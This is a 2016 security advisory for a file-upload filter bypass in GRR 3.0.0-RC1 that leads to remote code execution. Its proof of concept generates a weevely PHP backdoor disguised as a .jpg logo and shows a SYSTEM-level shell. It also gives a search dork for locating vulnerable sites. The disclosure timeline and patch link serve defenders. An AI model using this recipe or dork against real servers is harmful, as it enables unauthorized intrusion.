GRR 3.0.0-RC1 Remote Code Execution / File Upload

`# Exploit Title: GRR <= 3.0.0-RC1 (all versions) RCE with privilege  
escalation through file upload filter bypass (authenficated)  
# Date: January 7th, 2016  
# Exploit Author: kmkz (Bourbon Jean-marie) <[email protected]> |  
@kmkz_security  
# Vendor Homepage: http://grr.devome.com/fr/  
# Software Link:  
http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1  
# Version: 3.0.0-RC1  
# Tested on: Windows 2003 R2, PHP 5.2.6  
# Dork: inurl:/grr/ intext:réservation intitle:"GRR"  
# CVE ID: Requested  
  
  
I. APPLICATION  
======================================================================================  
  
  
GRR is an open source resources manager tool used in many french public  
institutions (not only!).  
It permit for example to manage rooms reservations, and so much more.  
  
  
II. ADVISORY  
======================================================================================  
  
  
  
The application allows administrators to change the enterprise's logo  
uploading a new image with .png,.jpg or .gif extension only.  
  
Once uploaded, image name is "splitted" in an array and renamed with the  
name "logo" followed by the extention saved as 2nd array's element.  
  
This file called for example "logo.jpg" is also "chmoded" as 0666  
permission  
and directly accessible in image folder (img_grr by default) by all users.  
  
Besides, the application does only a basic conditional php test  
on the extension of the uploaded file.  
  
It's possible for an attacker to add a second extension that will be  
used when the image will be renamed in order to bypass this basic filter  
(double extension upload filter bypassing).  
  
So, a file called backdoor.php.jpg will be renamed as logo.php with  
chmod 0666 permissions and could be used by attacker to gain more  
privileges  
on the targeted server (privesc due to bad file permissions and RCE).  
  
To trigger this vulnerability it is necessary to have an administrator  
account on the GRR application.  
  
This vulnerability is a combination of 3 issues:  
- predictable uploaded file names and path  
- upload of any kind of file  
- bad files permission when we upload this file that permit us to gain  
privilegied access.  
  
Note that it could be "dorkable" in order to find targets ... and sometimes  
with trivial admin credentials ;-).  
  
  
III. PROOF OF CONCEPT  
======================================================================================  
  
  
Generate backdoor:  
  
kmkz@Tapz:~# weevely generate pass123 /tmp/3lrvs.php  
Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486  
byte size.  
kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg  
  
  
Login as admin and upload this new 'logo' > Administration > logo  
  
Enjoy your shell!  
  
kmkz@Tapz:~# weevely http://laboratoire.target.fr/images/logo.php  
pass123  
[+] weevely 3.2.0  
  
[+] Target: laboratoire.target.fr:F:\server\grr\images  
[+] Session: /kmkz/.weevely/sessions/  
laboratoire.target.fr/logo_1.session  
[+] Shell: System shell  
  
[+] Browse the filesystem or execute commands starts the connection  
[+] to the target. Type :help for more information.  
  
weevely> whoami  
autorite nt\system  
  
  
  
IV. RISK  
======================================================================================  
  
By uploading a script, an attacker may be able to execute arbitrary code  
on the server with elevated privileges.  
  
This flaw may compromise the integrity of the system  
(with access to sensitive informations, network shares...) and it may  
conduce  
to full information system's compromission using pivots techniques and  
imagination!  
  
  
V. VERSIONS AFFECTED  
======================================================================================  
  
GRR 3.0.0-RC1 is vulnerable (and all previous versions)  
  
  
VI. TIMELINE  
======================================================================================  
  
December 17th, 2015: Vulnerability identification  
January 7th, 2016: Vendor and project developers notification  
January 11th, 2016: Project developers response  
January 15th, 2016: Patch release  
January 17th, 2016: Public disclosure  
  
  
Publication:  
http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/  
Patch :  
https://github.com/JeromeDevome/GRR/commit/b4c55e009c1af33b63326b755ccc4121a004bf0c  
  
VII. LEGAL NOTICES  
======================================================================================  
  
The information contained within this advisory is supplied "as-is" with  
no warranties or guarantees of fitness of use or otherwise.  
I accept no responsibility for any damage caused by the use or misuse of  
this advisory.  
  
  
@kmkz_security  
  
  
`